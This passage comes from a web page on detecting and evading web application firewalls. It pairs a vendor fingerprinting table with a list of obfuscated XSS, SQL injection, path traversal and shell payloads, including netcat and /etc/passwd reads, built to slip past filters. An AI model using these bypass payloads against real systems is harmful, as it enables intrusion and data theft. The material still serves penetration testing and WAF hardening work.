</td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>PentaWAF/{version}</code> keyword.</li> <li>Blocked response page contains text <code>PentaWAF/{version}</code>.</li> </ul> </ul> </td> </tr> <tr> <td> PerimeterX </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains reference to<br> <code>https://www.perimeterx.com/whywasiblocked</code> URL.</li> </ul> </ul> </td> </tr> <tr> <td> pkSecurityModule IDS </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response content may contain</li> <ul> <li><code>pkSecurityModule: Security.Alert</code>.</li> <li><code>A safety critical request was discovered and blocked</code> text snippet.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Positive Technologies Application Firewall </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains <code>Forbidden</code> in <code>h1</code> followed by:</li> <li><code>Request ID:</code> in format <code>yyyy-mm-dd-hh-mm-ss-{ref. code}</code></li> </ul> </ul> </td> </tr> <tr> <td> PowerCDN </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers may contain</li> <ul> <li><code>Via</code> header with content <code>powercdn.com</code>.</li> <li><code>X-Cache</code> header with content <code>powercdn.com</code>.</li> <li><code>X-CDN</code> header with content <code>PowerCDN</code>.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Profense </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Set-Cookie</code> headers contain <code>PLBSID=</code> cookie field name.</li> <li><code>Server</code> header contain <code>Profense</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> Proventia (IBM) </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page might contain to <code>request does not match Proventia rules</code> text snippet.</li> </ul> </ul> </td> </tr> <tr> <td> Puhui </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contain <code>PuhuiWAF</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> Qiniu CDN </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response content may contain</li> <ul> <li>Response headers contain unusual header <code>X-Qiniu-CDN</code> with value set to either <code>0</code> or <code>1</code>.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Radware Appwall </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page contains the following text snippet:<br> <code>Unauthorized Activity Has Been Detected.</code> and <code>Case Number</code></li> <li>Blocked response page has reference to <code>radwarealerting@{site.tld}</code> email.</li> <li>Blocked response page has title set to <code>Unauthorized Request Blocked</code>.</li> <li>Response headers may contain <code>X-SL-CompState</code> header field name.</li> </ul> </ul> </td> </tr> <tr> <td> Reblaze </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Cookies in response headers contain <code>rbzid=</code> header field name.</li> <li><code>Server</code> field value might contain <code>Reblaze Secure Web Gateway</code> text snippet.</li> <li>Response page contains:</li> <ul> <li><code>Access Denied (403)</code> in bold.</li> <li><code>Current session has been terminated</code> text.</li> <li><code>For further information, do not hesitate to contact us</code>.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Request Validation Mode </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>A firewall found specifically on ASP.NET websites and none others.</li> <li>Response page contains either of the following text snippet:</li> <ul> <li><code>ASP.NET has detected data in the request that is potentially dangerous.</code></li> <li><code>Request Validation has detected a potentially dangerous client input value.</code></li> <li><code>HttpRequestValidationException.</code></li> </ul> <li>Blocked response code returned is always <code>500 Internal Error</code>.</li> </ul> </ul> </td> </tr> <tr> <td> RSFirewall </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page contains:</li> <ul> <li><code>COM_RSFIREWALL_403_FORBIDDEN</code> keyword.</li> <li><code>COM_RSFIREWALL_EVENT</code> keyword.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Sabre </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Returns status code <code>500 Internal Error</code> upon malicious requests.</li> <li>Response content has: <ul> <li>Contact email <code>dxsupport@sabre.com</code>.</li> <li><code>Your request has been blocked</code> bold warning.</li> <li><code>clicking the above email link will automatically add some important details to the email for us to investigate the problem</code> text snippet.</li> </ul> </li> </ul> </ul> </td> </tr> <tr> <td> Safe3 </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain:</li> <ul> <li><code>X-Powered-By</code> header has field value <code>Safe3WAF</code>.</li> <li><code>Server</code> header contains field value set to <code>Safe3 Web Firewall</code>.</li> </ul> <li>Response page contains <code>Safe3waf</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> SafeDog </td> <td> <ul> <li><b>Detectability: </b>Easy/Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header in response may contain:</li> <ul> <li><code>WAF/2.0</code> keyword.</li> <li><code>safedog</code> field value.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> SecKing </td> <td> <ul> <li><b>Detectability: </b>Easy/Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header in response may contain:</li> <ul> <li><code>SECKINGWAF</code> keyword.</li> <li><code>SECKING/{version}</code> field value.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> SecuPress </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response content may contain:</li> <ul> <li><code>SecuPress</code> as text.</li> <li><code>Block ID: Bad URL Contents</code> as text.</li> </ul> <li>Response code returned is <code>503 Service Unavailable</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Secure Entry </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains value set to <code>Secure Entry Server</code>.</li> </ul> </ul> </td> </tr> <tr> <td> SecureIIS </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page contains either of the following text snippet:</li> <ul> <li>Image displaying <code>beyondtrust</code> logo.</li> <li><code>Download SecureIIS Personal Edition</code></li> <li>Reference to <code>http://www.eeye.com/SecureIIS/</code> URL.</li> <li><code>SecureIIS Error</code> text snippet.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> SecureSphere </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page contains the following text snippet:</li> <ul> <li>Error in <code>h2</code> text.</li> <li>Title contains only text as <code>Error</code>.</li> <li><code>Contact support for additional information.</code> text.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> SEnginx </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains <code>SENGINX-ROBOT-MITIGATION</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> ServerDefender VP </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response contains <code>X-Pint</code> header field with <code>p80</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> Shadow Daemon </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains <code>request forbidden by administrative rules.</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> ShieldSecurity </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains: <ul> <li><code>You were blocked by the Shield.</code> text.</li> <li><code>Something in the URL, Form or Cookie data wasn't appropriate</code> text snippet.</li> <li><code>Warning: You have {number} remaining transgression(s) against this site</code>.</li> <li><code>Seriously stop repeating what you are doing or you will be locked out</code>.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> SiteGround </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains<br> <code>The page you are trying to access is restricted due to a security rule</code> text snippet.</li> </ul> </ul> </td> </tr> <tr> <td> SiteGuard (JP Secure) </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page contains: <ul> <li><code>Powered by SiteGuard</code> text snippet.</li> <li><code>The server refuse to browse the page.</code> text snippet.</li> <li><code>The URL may not be correct. Please confirm the value.</code></li> </ul> </ul> </ul> </td> </tr> <tr> <td> SiteLock TrueShield </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page source contains the following:</li> <ul> <li>Reference to <code>www.sitelock.com</code> URL.</li> <li><code>Sitelock is leader in Business Website Security Services.</code> text.</li> <li><code>sitelock-site-verification</code> keyword.</li> <li><code>sitelock_shield_logo</code> image.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> SonicWall </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contain <code>SonicWALL</code> keyword value.</li> <li>Blocked response page contains either of the following text snippet:</li> <ul> <li>Image displaying <code>Dell</code> logo.</li> <li><code>This request is blocked by the SonicWALL.</code></li> <li><code>Web Site Blocked</code> text snippet.</li> <li><code>nsa_banner</code> as keyword. :p</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Sophos UTM </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains <code>Powered by UTM Web Protection</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> SquareSpace </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response code returned is <code>404 Not Found</code> upon malicious requests.</li> <li>Blocked response page contains either of the following text snippet:</li> <ul> <li><code>BRICK-50</code> keyword.</li> <li><code>404 Not Found</code> text snippet.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> SquidProxy IDS </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains field value <code>squid/{version}</code>.</li> <li>Blocked response page contains<br> <code>Access control configuration prevents your request from being allowed at this time.</code>.</li> </ul> </ul> </td> </tr> <tr> <td> StackPath </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Contains image displaying <code>StackPath</code> logo.</li> <li>Blocked response page contains<br> <code>You performed an action that triggered the service and blocked your request</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Stingray </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response code returns <code>403 Forbidden</code> or <code>500 Internal Error</code>.</li> <li>Response headers contain the <code>X-Mapping</code> header field name.</li> </ul> </ul> </td> </tr> <tr> <td> Sucuri CloudProxy </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers may contain <code>Sucuri</code> or <code>Cloudproxy</code> keywords.</li> <li>Blocked response page contains the following text snippet:</li> <ul> <li><code>Access Denied - Sucuri Website Firewall</code> text.</li> <li>Reference to <code>https://sucuri.net/privacy-policy</code> URL.</li> <li>Sometimes the email <code>cloudproxy@sucuri.net</code>.</li> <li>Contains copyright notice <code>;copy {year} Sucuri Inc</code>.</li> </ul> <li>Response headers contains <code>X-Sucuri-ID</code> header along with normal requests.</li> </ul> </ul> </td> </tr> <tr> <td> Synology Cloud </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page has <code>Copyright (c) 2019 Synology Inc. All rights reserved.</code>as text.</li> </ul> </ul> </td> </tr> <tr> <td> Tencent Cloud </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response code returns <code>405 Method Not Allowed</code> error.</li> <li>Blocked response page contains reference to <code>waf.tencent-cloud.com</code> URL.</li> </ul> </ul> </td> </tr> <tr> <td> Teros </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain cookie field <code>st8id</code>.</li> </ul> </ul> </td> </tr> <tr> <td> TrafficShield </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> might contain <code>F5-TrafficShield</code> keyword.</li> <li><code>ASINFO=</code> value might be detected in response cookies.</li> </ul> </ul> </td> </tr> <tr> <td> TransIP </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain unique header <code>X-TransIP-Backend</code>.</li> <li>Response headers contain another header <code>X-TransIP-Balancer</code>.</li> </ul> </ul> </td> </tr> <tr> <td> UCloud UEWaf </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response content might contain: <ul> <li>Reference to <code>/uewaf_deny_pages/default/img/</code> inurl directory.</li> <li><code>ucloud.cn</code> URL.</li> </ul> <li>Response headers returned has <code>Server</code> header set to <code>uewaf/{version}</code>.</li> </ul> </ul> </td> </tr> <tr> <td> URLMaster SecurityCheck </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers might contain: <ul> <li><code>UrlMaster</code> keyword.</li> <li><code>UrlRewriteModule</code> keyword.</li> <li><code>SecurityCheck</code> keyword.</li> </ul> <li>Blocked response code returned is <code>400 Bad Request</code> text snippet.</li> </ul> </ul> </td> </tr> <tr> <td> URLScan </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li></li> <li>Blocked response page contains:</li> <ul> <li><code>Rejected-by-URLScan</code> text snippet.</li> <li><code>Server Erro in Application</code> as heading.</li> <li><code>Module: IIS Web Core</code> in table.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> USP Secure Entry </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain <code>Secure Entry Server</code> field value.</li> </ul> </ul> </td> </tr> <tr> <td> Varnish (OWASP) </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Malicious request returns <code>404 Not Found</code> Error.</li> <li>Response page contains:</li> <ul> <li><code>Request rejected by xVarnish-WAF</code> text snippet.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Varnish CacheWall </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page contains:</li> <ul> <li><code>Error 403 Naughty, not Nice!</code> as heading.</li> <li><code>Varnish cache Server</code> as text.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Viettel </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page contains:</li> <ul> <li>Block page has title set to <code>Access denied · Viettel WAF</code>.</li> <li>Reference to <code>https://cloudrity.com.vn/</code> URL.</li> <li>Response page contains keywords <code>Viettel WAF system</code>.</li> <li>Contact information reference to <code>https://cloudrity.com.vn/customer/#/contact</code> URL.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> VirusDie </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page contains:</li> <ul> <li><code>http://cdn.virusdie.ru/splash/firewallstop.png</code> picture.</li> <li><code>copy; Virusdie.ru</p></code> copyright notice.</li> <li>Response page title contains <code>Virusdie</code> keyword.</li> <li>Page metadata contains <code>name="FW_BLOCK"</code> keyword</li> </ul> </ul> </ul> </td> </tr> <tr> <td> WallArm </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> headers contain <code>nginx-wallarm</code> value.</li> </ul> </ul> </td> </tr> <tr> <td> WatchGuard IPS </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> headers may contain <code>WatchGuard</code> field value.</li> <li>Blocked response page contains: </li> <ul> <li><code>Request denied by WatchGuard Firewall</code> text.</li> <li><code>WatchGuard Technologies Inc.</code> as footer.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> WebARX Security </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Restricted to specifically WordPress sites only.</li> <li>Blocked response page contains: </li> <ul> <li><code>This request has been blocked by WebARX Web Application Firewall</code> text.</li> <li>Reference to <code>/wp-content/plugins/webarx/</code> directory where it is installed.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> WebKnight </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain <code>WebKnight</code> keyword.</li> <li>Blocked response page contains:</li> <ul> <li><code>WebKnight Application Firewall Alert</code> text warning.</li> <li><code>AQTRONIX WebKnight</code> text snippet.</li> </ul> <li>Blocked response code returned is <code>999 No Hacking</code>. :p</li> <li>Blocked response code returned is also <code>404 Hack Not Found</code>. :p</li> </ul> </ul> </td> </tr> <tr> <td> WebLand </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>Apache Protected By WebLand WAF</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> WebRay </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>WebRay-WAF</code> keyword.</li> <li>Response headers may have <code>DrivedBy</code> field with value <code>RaySrv RayEng/{version}</code>.</li> </ul> </ul> </td> </tr> <tr> <td> WebSEAL </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contain <code>WebSEAL</code> keyword.</li> <li>Blocked response page contains:</li> <ul> <li><code>This is a WebSEAL error message template file</code> text.</li> <li><code>WebSEAL server received an invalid HTTP request</code> text snippet.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> WebTotem </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains <code>The current request was blocked by WebTotem</code>.</li> </ul> </ul> </td> </tr> <tr> <td> West263CDN </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain <code>X-Cache</code> header field with <code>WT263CDN</code> value.</li> </ul> </ul> </td> </tr> <tr> <td> Wordfence </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain <code>WebKnight</code> keyword.</li> <li>Blocked response page contains:</li> <ul> <li><code>Generated by Wordfence</code> text snippet.</li> <li><code>A potentially unsafe operation has been detected in your request to this site</code> text warning.</li> <li><code>Your access to this site has been limited</code> text warning.</li> <li><code>This response was generated by Wordfence</code> text snippet.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> WTS-WAF </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page title has <code>WTS-WAF</code> keyword.</li> <li><code>Server</code> header contains <code>wts</code> as value.</li> </ul> </ul> </td> </tr> <tr> <td> XLabs Security WAF </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain <code>X-CDN</code> header field with <code>XLabs Security</code> value.</li> </ul> </ul> </td> </tr> <tr> <td> Xuanwudun WAF </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains reference to <code>http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/</code> site URL.</li> </ul> </ul> </td> </tr> <tr> <td> Yunaq Chuangyu </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page has reference to: <ul> <li><code>365cyd.com</code> or <code>365cyd.net</code> URL.</li> <li>Reference to help page at <code>http://help.365cyd.com/cyd-error-help.html?code=403</code>.</li> </ul> </li> </ul> </ul> </td> </tr> <tr> <td> Yundun </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>YUNDUN</code> as value.</li> <li><code>X-Cache</code> header field contains <code>YUNDUN</code> as value.</li> <li>Response page contains <code>Blocked by YUNDUN Cloud WAF</code> text snippet.</li> <li>Blocked response page contains reference to <code>yundun.com/yd_http_error/</code> URL.</li> </ul> </ul> </td> </tr> <tr> <td> Yunsuo </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains image class reference to <code>yunsuologo</code>.</li> <li>Response headers contain the <code>yunsuo_session</code> field name.</li> </ul> </ul> </td> </tr> <tr> <td> YxLink </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response might have <code>yx_ci_session</code> cookie field.</li> <li>Response might have <code>yx_language</code> cookie field.</li> <li><code>Server</code> header contains <code>Yxlink-WAF</code> field value.</li> </ul> </ul> </td> </tr> <tr> <td> ZenEdge </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains reference to <code>/__zenedge/assets/</code> directory.</li> <li><code>Server</code> header contain <code>ZENEDGE</code> keyword.</li> <li>Blocked response headers may contain <code>X-Zen-Fury</code> header.</li> </ul> </ul> </td> </tr> <tr> <td> ZScaler </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header has value set to <code>ZScaler</code>.</li> <li>Blocked response page contains: <ul> <li><code>Access Denied: Accenture Policy</code> text.</li> <li>Reference to <code>https://policies.accenture.com</code> URL.</li> <li>Reference to image at <code>https://login.zscloud.net/img_logo_new1.png</code>.</li> <li><code>Your organization has selected Zscaler to protect you from internet threats</code>.</li> <li><code>The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate</code>.</li> </ul> </li> </ul> </ul> </td> </tr> </table>

Evasion Techniques

Lets look at some methods of bypassing and evading WAFs.

Fuzzing/Bruteforcing:

Method:

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

Technique:

Drawbacks:

Regex Reversing:

Method:

Techniques:

Blacklisting Detection/Bypass

Case: SQL Injection

• Step 1:

Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)

• Step 2:

Keywords Filtered: and, or, union, where

• Step 3:

Keywords Filtered: and, or, union, where, limit

• Step 4:

Keywords Filtered: and, or, union, where, limit, group by

• Step 5:

Keywords Filtered: and, or, union, where, limit, group by, select

• Step 6:

Keywords Filtered: and, or, union, where, limit, group by, select, '

• Step 7:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex

• Step 8:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr

• Step 9:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space

Obfuscation:

Method:

Techniques:

1. Case Toggling

Standard: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Normalization

Standard: <marquee onstart=prompt()>
Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>

Blocked: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode alternative)

Blocked: <marquee loop=1 onfinish=alert()>x
Bypassed: <marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)

TIP: Have a look at this and this reports on HackerOne. :)

Standard: ../../etc/passwd
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML Representation

Standard: "><img src=x onerror=confirm()>
Encoded: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (General form)
Encoded: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numeric reference)

5. Mixed Encoding

Obfuscated:

<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>

6. Using Comments

Blocked: <script>alert()</script>
Bypassed: <!--><script>alert/**/()/**/</script>

Blocked: /?id=1+union+select+1,2,3--
Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--

7. Double Encoding

Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

Standard: <script>alert()</script>
Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E

8. Wildcard Obfuscation

Standard: /bin/cat /etc/passwd
Obfuscated: /???/??t /???/??ss??
Used chars: / ? t s

Standard: /bin/nc 127.0.0.1 1337
Obfuscated: /???/n? 2130706433 1337
Used chars: / ? n [0-9]

9. Dynamic Payload Generation

Standard: <script>alert()</script>
Obfuscated: <script>eval('al'+'er'+'t()')</script>

Standard: /bin/cat /etc/passwd
Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd

Bash allows path concatenation for execution.

Standard: <iframe/onload='this["src"]="javascript:alert()"';>
Obfuscated: <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>

9. Junk Characters

Standard: <script>alert()</script>
Obfuscated: <script>+-+-1-+-+alert(1)</script>

Standard: <BODY onload=alert()>
Obfuscated: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>

NOTE: The above payload can break the regex parser to cause an exception.

Standard: <a href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

10. Line Breaks

Standard: <iframe src=javascript:confirm(0)">
Obfuscated: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

11. Uninitialized Variables

BONUS: Variable names can have any number of random characters. I have represented them here as $aaaaaa, $bbbbbb, and so on. You can replace them with any number of random chars like $ushdjah and so on. ;)

An exotic payload crafted:

$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf

12. Tabs and Line Feeds

Standard: <IMG SRC="javascript:alert();">
Bypassed: <IMG SRC=" javascript:alert();">
Variant: <IMG SRC=" jav ascri pt:alert ();">

Standard: http://test.com/test?id=1 union select 1,2,3
Standard: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

Standard: <iframe src=javascript:alert(1)></iframe>
Obfuscated:

<iframe    src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>

13. Token Breakers

TIP: More payloads can be crafted via this cheat sheet.

14. Obfuscation in Other Formats

Case: IIS

Original Request:

POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

id2='union all select * from users--

Obfuscated Request + URL Encoding:

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):

TIP: You can use this small python script to convert your payloads and parameters to your desired encodings.

